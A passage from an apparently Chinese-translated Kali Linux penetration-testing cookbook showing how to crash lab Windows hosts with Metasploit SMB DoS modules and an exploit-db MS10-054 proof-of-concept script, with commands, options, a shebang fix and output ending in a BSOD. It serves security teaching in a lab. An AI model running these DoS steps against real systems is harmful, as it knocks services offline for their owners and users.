auxiliary/dos/http/apache_range_dos 2011-08-19 normal Apache Range header DoS (Apache Killer)
auxiliary/dos/http/apache_tomcat_transfer_encoding 2010-07-09 normal Apache Tomcat Transfer-Encoding Information Disclosure and DoS
在提供的示例中,搜索項 dos 用于查詢數(shù)據(jù)庫。 返回一系列 DoS 輔助模塊,并且包括每個 DoS 輔助模塊的相對路徑。 此相對路徑可用于縮小搜索結(jié)果范圍:
msf > search /dos/windows/smb/
Matching Modules
================
Name Disclosure Date Rank Description
---- -------------- ---- ----------
auxiliary/dos/windows/smb/ms05_047_pnp normal Microsoft Plug and Play Service Registry Overflow
auxiliary/dos/windows/smb/ms06_035_mailslot 2006-07-11 normal Microsoft SRV.SYS Mailslot Write Corruption
auxiliary/dos/windows/smb/ms06_063_trans normal Microsoft SRV.SYS Pipe Transaction No Null
auxiliary/dos/windows/smb/ms09_001_write normal Microsoft SRV.SYS WriteAndX Invalid DataOffset
auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh normal Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference
auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff normal Microsoft SRV2.SYS SMB2 Logoff Remote Kernel NULL Pointer Dereference
auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop normal Microsoft Windows 7 / Server 2008 R2 SMB Client Infinite Loop
auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow normal Microsoft Windows SRV.SYS SrvSmbQueryFsInformation Pool Overflow DoS
auxiliary/dos/windows/smb/ms11_019_electbowser manual Microsoft Windows Browser Pool DoS
auxiliary/dos/windows/smb/rras_vls_null_deref 2006-06-14 normal Microsoft RRAS InterfaceAdjustVLSPointers NULL Dereference
auxiliary/dos/windows/smb/vista_negotiate_stop normal Microsoft Vista SP0 SMB Negotiate Protocol DoS
在查詢/ dos / windows / smb
的相對路徑后,返回的唯一結(jié)果是此目錄中的 DoS 模塊。 目錄組織良好,可用于有效地搜索與特定平臺或服務(wù)相關(guān)的漏洞。 一旦我們決定使用哪個漏洞,我們可以使用use
命令和模塊的相對路徑來選擇它:
msf > use auxiliary/dos/windows/smb/ms06_063_trans
msf auxiliary(ms06_063_trans) > show options
Module options (auxiliary/dos/windows/smb/ms06_063_trans):
Name Current Setting Required Description ----
--------------- -------- ----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
一旦選擇了模塊,show options
命令可用于確定和/修改掃描配置。 此命令會顯示四個列標(biāo)題,包括Name
, Current Setting
, Required
, 和 Description
。 Name
列表示每個可配置變量的名稱。 Current Setting
列列出任何給定變量的現(xiàn)有配置。 Required
列表明任何給定變量是否需要值。 Description
列描述每個變量的函數(shù)。 可以使用set
命令并通過提供新值作為參數(shù),來更改任何給定變量的值:
msf auxiliary(ms06_063_trans) > set RHOST 172.16.36.134
=> 172.16.36.134
msf auxiliary(ms06_063_trans) > show options
Module options (auxiliary/dos/windows/smb/ms06_063_trans):
Name Current Setting Required Description
---- --------------- -------- ----------
RHOST 172.16.36.134 yes The target address
RPORT 445 yes Set the SMB service port
在提供的示例中,RHOST
值更改為我們打算掃描的遠(yuǎn)程系統(tǒng)的 IP 地址。 更新必要的變量后,可以使用show options
命令再次驗(yàn)證配置。 一旦驗(yàn)證了所需的配置,可以使用run
命令啟動模塊:
msf auxiliary(ms06_063_trans) > run
[*] Connecting to the target system...
[*] Sending bad SMB transaction request 1...
[*] Sending bad SMB transaction request 2...
[*] Sending bad SMB transaction request 3...
[*] Sending bad SMB transaction request 4...
[*] Sending bad SMB transaction request 5...
[*] Auxiliary module execution completed
在執(zhí)行 Metasploit DoS 輔助模塊之后,返回的一系列消息表明已經(jīng)執(zhí)行了一系列惡意 SMB 事務(wù),并且返回表示模塊執(zhí)行完成的最終消息。 該漏洞的成功可以通過查看 Windows XP 系統(tǒng)來驗(yàn)證,它已經(jīng)崩潰,現(xiàn)在顯示 BSOD:
工作原理
本練習(xí)中演示的 Metasploit DoS 輔助模塊是緩沖區(qū)溢出攻擊的示例。 一般來說,緩沖區(qū)溢出能夠?qū)е戮芙^服務(wù),因?yàn)樗鼈兛赡軐?dǎo)致任意數(shù)據(jù)被加載到非預(yù)期的內(nèi)存段。 這可能中斷執(zhí)行流程,并導(dǎo)致服務(wù)或操作系統(tǒng)崩潰。
6.11 使用 exploit-db 執(zhí)行DoS 攻擊
exploit-db 是針對所有類型的平臺和服務(wù)的,公開發(fā)布的漏洞利用集合。 exploit-db 擁有許多可用于執(zhí)行DoS攻擊的漏洞。 這個特定的秘籍演示了如何在 exploit-db 中找到DoS漏洞,確定漏洞的用法,進(jìn)行必要的修改并執(zhí)行它們。
準(zhǔn)備
為了使用 exploit-db 執(zhí)行 DoS 攻擊,你需要有一個運(yùn)行漏洞服務(wù)的系統(tǒng),它易受 Metasploit DoS 輔助模塊之一的攻擊。 所提供的示例使用 Windows XP 的實(shí)例。 有關(guān)設(shè)置 Windows 系統(tǒng)的更多信息,請參閱本書第一章中的“安裝 Windows Server”秘籍。
操作步驟
在使用 exploit-db 執(zhí)行 DoS 測試之前,我們需要確定哪些 DoS 漏洞可用。 可以在http://www.exploit-db.com
在線找到全部的漏洞利用數(shù)據(jù)庫。 或者,其副本也本地存儲在 Kali Linux 文件系統(tǒng)中。 在exploitdb
目錄中有一個files.csv
文件,其中包含所有內(nèi)容的目錄。 此文件可用于對關(guān)鍵字進(jìn)行grep
,來幫助定位可用的漏洞利用:
root@KaliLinux:~# grep SMB /usr/share/exploitdb/files.csv
20,platforms/windows/remote/20.txt,"MS Windows SMB Authentication Remote Exploit",2003-04-25,"Haamed Gheibi",windows,remote,139
1065,platforms/windows/dos/1065.c,"MS Windows (SMB) Transaction Response Handling Exploit (MS05-011)",2005-06-23,cybertronic,windows,dos,0
4478,platforms/linux/remote/4478.c,"smbftpd 0.96 SMBDirListfunction Remote Format String Exploit",2007-10-01,"Jerry Illikainen",linux,remote,21
6463,platforms/windows/dos/6463.rb,"MS Windows WRITE_ANDX SMB command handling Kernel DoS (meta)",2008-09-15,"Javier Vicente Vallejo",windows,dos,0
9594,platforms/windows/dos/9594.txt,"Windows Vista/7 SMB2.0 Negotiate Protocol Request Remote BSOD Vuln",2009-09-09,"Laurent Gaffie",windows,dos,0
在所提供的示例中,我們使用grep
函數(shù)在files.csv
文件中搜索包含 SMB 的任何 exploit-db 內(nèi)容。 還可以通過將輸出通過管道連接到另一個grep
函數(shù),并搜索附加項來進(jìn)一步縮小搜索范圍:
root@KaliLinux:~# grep SMB /usr/share/exploitdb/files.csv | grep dos
1065,platforms/windows/dos/1065.c,"MS Windows (SMB) Transaction Response Handling Exploit (MS05-011)",2005-06-23,cybertronic,windows,dos,0
6463,platforms/windows/dos/6463.rb,"MS Windows WRITE_ANDX SMB command handling Kernel DoS (meta)",2008-09-15,"Javier Vicente Vallejo",windows,dos,0
9594,platforms/windows/dos/9594.txt,"Windows Vista/7 SMB2.0 Negotiate Protocol Request Remote BSOD Vuln",2009-09-09,"Laurent Gaffie",windows,dos,0
12258,platforms/windows/dos/12258.py,"Proof of Concept for MS10-006 SMB Client-Side Bug",2010-04-16,"Laurent Gaffie",windows,dos,0
12273,platforms/windows/dos/12273.py,"Windows 7/2008R2 SMB Client Trans2 Stack Overflow 10-020 PoC",2010-04-17,"Laurent Gaffie",windows,dos,0
在提供的示例中,我們依次使用兩個獨(dú)立的grep
函數(shù),來搜索與 SMB 服務(wù)相關(guān)的任何 DoS 漏洞:
root@KaliLinux:~# grep SMB /usr/share/exploitdb/files.csv | grep dos | grep py | grep -v "Windows 7"
12258,platforms/windows/dos/12258.py,"Proof of Concept for MS10-006 SMB Client-Side Bug",2010-04-16,"Laurent Gaffie",windows,dos,0
12524,platforms/windows/dos/12524.py,"Windows SMB2 Negotiate Protocol (0x72) Response DOS",2010-05-07,"Jelmer de Hen",windows,dos,0
14607,platforms/windows/dos/14607.py,"Microsoft SMB Server Trans2 Zero Size Pool Alloc (MS10-054)",2010-08-10,"Laurent Gaffie",windows,dos,0
我們可以繼續(xù)縮小搜索結(jié)果,使其盡可能具體。 在提供的示例中,我們查找了 SMB 服務(wù)的任何 Python DoS 腳本,但是我們尋找的不是 Windows 7 平臺的。 gre
p中的-v
選項可用于從結(jié)果中排除內(nèi)容。 通常最好將所需的漏洞利用復(fù)制到另一個位置,以便不會修改 exploit 數(shù)據(jù)庫目錄的內(nèi)容:
root@KaliLinux:~# mkdir smb_exploit
root@KaliLinux:~# cd smb_exploit/
root@KaliLinux:~/smb_exploit# cp /usr/share/exploitdb/platforms/windows/ dos/14607.py /root/smb_exploit/
root@KaliLinux:~/smb_exploit# ls 14607.py
在提供的示例中,我們?yōu)槟_本創(chuàng)建一個新目錄。 然后從絕對路徑復(fù)制腳本,該路徑可以由 exploit-db 的目錄位置和files.csv
文件中定義的相對路徑推斷。 一旦重新定位,就可以使用cat
命令從上到下讀取腳本,然后將腳本的內(nèi)容傳遞給more
工具:
root@KaliLinux:~/smb_exploit# cat 14607.py | more ?
#!/usr/bin/env python
import sys,struct,socket
from socket import *
if len(sys.argv)<=2:
print '############################################################### ########'
print '# MS10-054 Proof Of Concept by Laurent Gaffie'
print '# Usage: python '+sys.argv[0]+' TARGET SHARE-NAME (No backslash)'
print '# Example: python '+sys.argv[0]+' 192.168.8.101 users'
print '# http://g-laurent.blogspot.com/'
print '# http://twitter.com/laurentgaffie'
print '# Email: laurent.gaffie{at}gmail{dot}com'
print '############################################################### ########\n\n'
sys.exit()
與 NSE 腳本和 Metasploit 輔助模塊不同,漏洞數(shù)據(jù)庫中的腳本沒有標(biāo)準(zhǔn)化格式。 因此,使用漏洞有時會很棘手。 盡管如此,查看腳本內(nèi)容中的為注釋或使用說明通常是有幫助的。 在提供的示例中,我們可以看到,使用情況列在腳本的內(nèi)容中,如果未提供適當(dāng)數(shù)量的參數(shù),也會將其打印給用戶。 評估之后,可以執(zhí)行腳本。
root@KaliLinux:~/smb_exploit# ./14607.py
./14607.py: line 1: ?#!/usr/bin/env: No such file or directory
import.im6: unable to open X server `' @ error/import.c/
ImportImageCommand/368.
from: can't read /var/mail/socket
./14607.py: line 4: $'\r': command not found
./14607.py: line 5: syntax error near unexpected token `sys.argv'
'/14607.py: line 5: `if len(sys.argv)<=2:
但是,在嘗試執(zhí)行腳本后,我們可以看到出現(xiàn)了問題。 由于缺乏標(biāo)準(zhǔn)化,并且由于一些腳本只是概念證明,通常需要對這些腳本進(jìn)行調(diào)整:
?#!/usr/bin/env python
import sys,struct,socket
from socket import *
在腳本錯誤出現(xiàn)后,我們需要返回到文本編輯器,并嘗試確定錯誤的來源。 第一個錯誤表明,在腳本開頭列出的 Python 解釋器的位置存在問題。 這必須改變?yōu)橹赶?Kali Linux 文件系統(tǒng)中的解釋器:
#!/usr/bin/python
import sys,struct,socket
from socket import *
在每個問題解決后,嘗試再次運(yùn)行腳本通常是個好主意,有時,修復(fù)單個問題會消除多個執(zhí)行錯誤。 這里,在更改 Python 解釋器的位置后,我們可以成功運(yùn)行腳本:
root@KaliLinux:~/smb_exploit# ./14607.py 172.16.36.134 users
[+]Negotiate Protocol Request sent
[+]Malformed Trans2 packet sent
[+]The target should be down now
當(dāng)腳本運(yùn)行時,會返回幾個消息來標(biāo)識腳本執(zhí)行的進(jìn)度。 最后一條消息表明惡意的載荷已傳送,服務(wù)器應(yīng)該已經(jīng)崩潰。 該腳本的成功執(zhí)行可以通過返回 Windows 服務(wù)器來驗(yàn)證,它現(xiàn)在已經(jīng)崩潰,并顯示了 BSOD:
工作原理
本練習(xí)中演示的 exploit-db DoS 腳本是緩沖區(qū)溢出攻擊的示例。 一般來說,緩沖區(qū)溢出能夠?qū)е戮芙^服務(wù),因?yàn)樗鼈兛赡軐?dǎo)致任意數(shù)據(jù)被加載到非預(yù)期的內(nèi)存段。 這可能中斷執(zhí)行流程,并導(dǎo)致服務(wù)或操作系統(tǒng)崩潰。
)